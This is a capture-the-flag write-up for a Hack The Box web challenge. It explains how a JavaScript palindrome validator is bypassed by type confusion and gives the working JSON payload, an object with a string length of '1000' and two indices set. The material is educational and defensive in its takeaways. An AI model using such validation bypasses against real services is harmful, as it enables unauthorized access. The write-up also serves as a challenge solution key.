Magical Palindrome – Hack The Box Web Challenge Writeup
Challenge Description
In Dumbledore’s absence, Harry’s memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help Harry find the path to salvation?
Goal: Submit a JSON payload that passes the server’s strict palindrome check and retrieve the flag.
1. Source Code Analysis
The core validation function looks like this:
const IsPalinDrome = (string) => { if (string.length < 1000) { return 'Tootus Shortus'; }
for (const i of Array(string.length).keys()) { const original = string[i]; const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') { return 'Notter Palindromer!!'; } }
return null;}At first glance it seems secure:
- Must be ≥ 1000 characters
- Every character must match its mirrored position
- Every accessed element must be a string
But JavaScript is full of dark magic…
2. The JavaScript Array() Constructor Quirk
Key insight from MDN:
Array(3) // → [empty × 3], length = 3Array("1000") // → ["1000"], length = 1 ← string argument!Array(1, 2, 3) // → [1, 2, 3]When we control string.length via an object, we can abuse this behavior.
3. The Winning Payload
{ "palindrome": { "length": "1000", "0": "xss", "999": "xss" }}Step-by-step breakdown of what happens:
-
Length check bypass
if (string.length < 1000)stringis our object →string.lengthis string"1000"- JS coerces
"1000"→1000when doing numeric comparison 1000 < 1000→false→ check passes
-
Array construction
Array(string.length) // string.length === "1000" (string!)→
Array("1000")→["1000"]with.length === 1 -
Loop only runs once
for (const i of Array(string.length).keys()) // only i = 0 -
Single comparison performed
const original = string[0]; // → "xss"const reverse = string[string.length - i - 1];string.lengthis still"1000"(string)"1000" - 0 - 1→ arithmetic coercion →1000 - 1→999- So it checks:
string[0]vsstring[999] "xss"==="xss"→ truetypeof "xss" === "string"→ true
→ All checks pass with only two properties!
4. Final Result
Submit the payload → server accepts it → flag retrieved!

Submit flag and Magical Palindrome pwned ✓

Summary – Key Takeaways
- Never trust
.lengthon untrusted objects in JavaScript Array()constructor treats numeric vs string arguments very differently- Arithmetic operations coerce strings → numbers (very dangerous in index calculations)
- Minimal payloads can bypass seemingly heavy checks using type confusion
Classic JavaScript exploitation — small code, big impact.
Happy hacking! ༼ つ ◕_◕ ༽つ